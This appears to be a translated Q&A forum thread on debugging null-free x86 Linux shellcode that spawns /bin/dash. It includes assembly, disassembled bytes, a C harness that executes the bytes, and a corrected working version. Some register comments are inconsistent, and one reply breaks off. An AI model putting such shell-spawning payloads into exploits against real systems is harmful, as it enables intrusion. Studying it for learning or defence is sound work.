execve("/bin/dash", &"/bin/dash", NULL)
:global _start
_start:
xor eax, eax ; set eax = 0 to push a null without using 0x0
push eax ; eax = null pointer
mov edx, esp ; edx = null pointer
; push '/bin/dash' into stack
; but length of string actually needs to be divisible by 4,
; otherwise there will be a 0x00 in the string, so:
; push null pointer first, then
; push '////bin/dash' into stack
push eax ; eax = null pointer
push 0x68736164
push 0x2f6e6962
push 0x2f2f2f2f
mov ebx, esp ; ebx = string pointer '////bin/dash'
push ebx
mov ecx, esp ; ecx = pointer to string pointer
mov eax, 0xfffffff4
not eax ; eax = 0xb = pointer to execve
int 0x80 ; interrupt system call
我用以下行编译汇编代码,然后提取机器代码:
$ nasm -felf32 shellcode.asm -o x.o && ld -m elf_i386 x.o -o shellcode
$ objdump -d shellcode -M intel -s
shellcode: file format elf32-i386
Contents of section .text:
8048060 31c05089 e2506864 61736868 62696e2f 1.P..Phdashhbin/
8048070 682f2f2f 2f89e353 89e1b8f4 fffffff7 h////..S........
8048080 d0cd80 ..P
Disassembly of section .text:
08048060 <_start>:
8048060: 31 c0 xor eax,eax
8048062: 50 push eax
8048063: 89 e2 mov edx,esp
8048065: 50 push eax
8048066: 68 64 61 73 68 push 0x68736164
804806b: 68 62 69 6e 2f push 0x2f6e6962
8048070: 68 2f 2f 2f 2f push 0x2f2f2f2f
8048075: 89 e3 mov ebx,esp
8048077: 53 push ebx
8048078: 89 e1 mov ecx,esp
804807a: b8 f4 ff ff ff mov eax,0xfffffff4
804807f: f7 d0 not eax
8048081: cd 80 int 0x80
然后我试图用这个c文件执行我的shellcode:
#include <stdio.h>
#include <string.h>
char *shellcode = "\x31\xc0\x50\x89\xe2\x50\x68\x64\x61\x73\x68\x68\x62\x69\x6e\x2f\x68\x2f\x2f\x2f\x2f\x89\xe3\x53\x89\xe1\xb8\xf4\xff\xff\xff\xf7\xd0\xcd\x80";
int main()
{
fprintf(stdout,"Length: %d\n",strlen(shellcode));
(*(void (*)()) shellcode)();
}
我编译了这个带有以下内容的文件:
gcc -m32 -fno-stack-protector test_shellcode.c -o test_shellcode
但这会导致分段错误。
我用gdb调试了shellcode,看起来我的shellcode可以正常工作,但是第一个使用寄存器
al
或ah
的行导致分段错误。我该如何解决?
#1 楼
错误的参数我能够解决我的问题!
函数
execve
具有以下定义:int execve(const char *filename, char *const argv[], char *const envp[]);`
^ ^ ^ ^
eax ebx ecx edx
因此第二个参数
argv
不仅仅是一个指针,它实际上是(多个)指针的数组。因此,ecx
需要以null终止,但是我的代码中不是这种情况。我还发现ecx
不需要指向字符串/bin/dash
,而是可以将其设置为null。因此参数需要设置为:
eax = 0x0b
ebx = "/bin/dash"
ecx = 0x00
ecd = 0x00
汇编器
我现在只有29个字节的工作代码如下:
global _start
_start:
; set eax = 0 without using 0x00
xor eax, eax
push eax ; terminating null string & reference for null pointer
; set edc = pointer to null
; set edx = pointer to null
mov ecx, esp
mov edx, esp
; push '////bin/dash' into the stack
push 0x68736164
push 0x2f6e6962
push 0x2f2f2f2f
; set ebx = string pointer to '////bin/dash'
mov ebx, esp
; set ecx = pointer to string pointer to '////bin/dash'
push ebx
; set eax = 0xb (function 'execve')
mov al, 0xb
int 0x80 ; interrupt system call
#2 楼
我认为只需替换mov eax, 0xfffffff4
和not eax
评论
当您移动edx时,特别是您实际上将esp的值移入edx中。不是esp指向的值。要访问此值,请使用mov edx [esp]。@ bart1e是的,这是因为edx函数的每个定义都需要指向null而不包含null(因为它实际上是一个内部没有值的数组,因此null指针会终止它)